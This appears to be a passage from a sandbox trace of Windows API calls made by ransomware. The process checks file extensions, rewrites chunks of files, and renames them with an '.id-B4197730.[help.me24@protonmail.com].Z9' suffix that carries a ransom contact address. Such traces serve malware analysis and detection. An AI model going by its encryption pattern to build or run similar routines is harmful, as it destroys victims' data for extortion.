	[0072.199] lstrlenW (lpString=".zip") returned 4
	[0072.199] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.199] lstrlenW (lpString=".rar") returned 4
	[0072.199] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.199] lstrlenW (lpString=".bz2") returned 4
	[0072.199] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.199] lstrlenW (lpString=".7z") returned 3
	[0072.199] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.199] lstrlenW (lpString=".dbf") returned 4
	[0072.199] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.199] lstrlenW (lpString=".1cd") returned 4
	[0072.199] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.199] lstrlenW (lpString=".jpg") returned 4
	[0072.199] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.199] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.199] lstrlenW (lpString="SysReqNotMet.ico") returned 16
	[0072.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.199] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1150) returned 1
	[0072.200] CloseHandle (hObject=0x374) returned 1
	[0072.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0072.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.200] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.200] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0072.201] GetLastError () returned 0x0
	[0072.201] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0072.635] WriteFile (in: hFile=0x378, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x480, lpOverlapped=0x0) returned 1
	[0072.681] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.681] WriteFile (in: hFile=0x378, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0072.682] SetEndOfFile (hFile=0x378) returned 1
	[0072.682] CloseHandle (hObject=0x378) returned 1
	[0072.685] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.685] SetEndOfFile (hFile=0x374) returned 1
	[0072.686] CloseHandle (hObject=0x374) returned 1
	[0072.686] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.686] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1
	[0072.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.686] lstrlenW (lpString=".doc") returned 4
	[0072.686] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.686] lstrlenW (lpString=".docx") returned 5
	[0072.686] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.686] lstrlenW (lpString=".pdf") returned 4
	[0072.686] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.686] lstrlenW (lpString=".xls") returned 4
	[0072.686] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.686] lstrlenW (lpString=".xlsx") returned 5
	[0072.686] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.686] lstrlenW (lpString=".ppt") returned 4
	[0072.687] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".zip") returned 4
	[0072.687] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString=".rar") returned 4
	[0072.687] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString=".bz2") returned 4
	[0072.687] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.687] lstrlenW (lpString=".7z") returned 3
	[0072.687] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".dbf") returned 4
	[0072.687] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".1cd") returned 4
	[0072.687] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".jpg") returned 4
	[0072.687] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".doc") returned 4
	[0072.687] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.687] lstrlenW (lpString=".docx") returned 5
	[0072.687] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.687] lstrlenW (lpString=".pdf") returned 4
	[0072.687] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString=".xls") returned 4
	[0072.687] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString=".xlsx") returned 5
	[0072.687] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.687] lstrlenW (lpString=".ppt") returned 4
	[0072.687] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.687] lstrlenW (lpString=".zip") returned 4
	[0072.687] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.688] lstrlenW (lpString=".rar") returned 4
	[0072.688] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.688] lstrlenW (lpString=".bz2") returned 4
	[0072.688] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.688] lstrlenW (lpString=".7z") returned 3
	[0072.688] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.688] lstrlenW (lpString=".dbf") returned 4
	[0072.688] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.688] lstrlenW (lpString=".1cd") returned 4
	[0072.688] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0072.688] lstrlenW (lpString=".jpg") returned 4
	[0072.688] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.688] lstrcmpiW (lpString1=".mzz", lpString2=".Z9") returned -1
	[0072.688] lstrlenW (lpString="netfx_Extended.mzz") returned 18
	[0072.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.689] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=43131591) returned 1
	[0072.689] CloseHandle (hObject=0x374) returned 1
	[0072.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0072.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.689] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0072.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.690] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1
	[0072.690] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.690] ReadFile (in: hFile=0x374, lpBuffer=0x3f44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f44058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.695] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.695] ReadFile (in: hFile=0x374, lpBuffer=0x3f84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f84058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.700] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0072.700] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.700] ReadFile (in: hFile=0x374, lpBuffer=0x3fc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fc4058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.224] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.224] WriteFile (in: hFile=0x374, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0074.134] SetEndOfFile (hFile=0x374) returned 1
	[0074.134] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3da3968
	[0074.140] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.140] WriteFile (in: hFile=0x374, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.141] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.141] WriteFile (in: hFile=0x374, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.406] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.406] WriteFile (in: hFile=0x374, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.408] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0074.411] CloseHandle (hObject=0x374) returned 1
	[0077.313] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0077.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".doc") returned 4
	[0077.314] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0077.314] lstrlenW (lpString=".docx") returned 5
	[0077.314] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0077.314] lstrlenW (lpString=".pdf") returned 4
	[0077.314] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0077.314] lstrlenW (lpString=".xls") returned 4
	[0077.314] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0077.314] lstrlenW (lpString=".xlsx") returned 5
	[0077.314] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0077.314] lstrlenW (lpString=".ppt") returned 4
	[0077.314] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".zip") returned 4
	[0077.314] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0077.314] lstrlenW (lpString=".rar") returned 4
	[0077.314] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0077.314] lstrlenW (lpString=".bz2") returned 4
	[0077.314] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0077.314] lstrlenW (lpString=".7z") returned 3
	[0077.314] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".dbf") returned 4
	[0077.314] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".1cd") returned 4
	[0077.314] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".jpg") returned 4
	[0077.314] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.314] lstrlenW (lpString=".doc") returned 4
	[0077.314] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0077.315] lstrlenW (lpString=".docx") returned 5
	[0077.315] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0077.315] lstrlenW (lpString=".pdf") returned 4
	[0077.315] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0077.315] lstrlenW (lpString=".xls") returned 4
	[0077.315] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0077.315] lstrlenW (lpString=".xlsx") returned 5
	[0077.315] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0077.315] lstrlenW (lpString=".ppt") returned 4
	[0077.315] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0077.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.315] lstrlenW (lpString=".zip") returned 4
	[0077.315] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0077.315] lstrlenW (lpString=".rar") returned 4
	[0077.315] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0077.315] lstrlenW (lpString=".bz2") returned 4
	[0077.315] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0077.315] lstrlenW (lpString=".7z") returned 3
	[0077.315] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0077.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.315] lstrlenW (lpString=".dbf") returned 4
	[0077.315] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0077.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.315] lstrlenW (lpString=".1cd") returned 4
	[0077.315] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0077.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0077.315] lstrlenW (lpString=".jpg") returned 4
	[0077.315] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0077.315] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0077.315] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33
	[0077.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.316] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2141433) returned 1
	[0077.316] CloseHandle (hObject=0x374) returned 1
	[0077.316] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0077.316] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0077.316] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0077.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1
	[0077.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0077.317] ReadFile (in: hFile=0x374, lpBuffer=0x3f44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f44058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0077.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0077.321] ReadFile (in: hFile=0x374, lpBuffer=0x3f84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f84058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0077.326] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.326] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0077.326] ReadFile (in: hFile=0x374, lpBuffer=0x3fc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fc4058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0077.352] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.352] WriteFile (in: hFile=0x374, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0077.664] SetEndOfFile (hFile=0x374) returned 1
	[0077.664] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e339a8
	[0077.664] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.664] WriteFile (in: hFile=0x374, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.666] WriteFile (in: hFile=0x374, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.668] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.668] WriteFile (in: hFile=0x374, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.670] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0077.670] CloseHandle (hObject=0x374) returned 1
	[0078.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0078.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.430] lstrlenW (lpString=".doc") returned 4
	[0078.430] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.430] lstrlenW (lpString=".docx") returned 5
	[0078.430] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0078.430] lstrlenW (lpString=".pdf") returned 4
	[0078.430] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.430] lstrlenW (lpString=".xls") returned 4
	[0078.430] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.430] lstrlenW (lpString=".xlsx") returned 5
	[0078.430] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0078.430] lstrlenW (lpString=".ppt") returned 4
	[0078.430] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.430] lstrlenW (lpString=".zip") returned 4
	[0078.430] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.430] lstrlenW (lpString=".rar") returned 4
	[0078.430] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.430] lstrlenW (lpString=".bz2") returned 4
	[0078.430] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
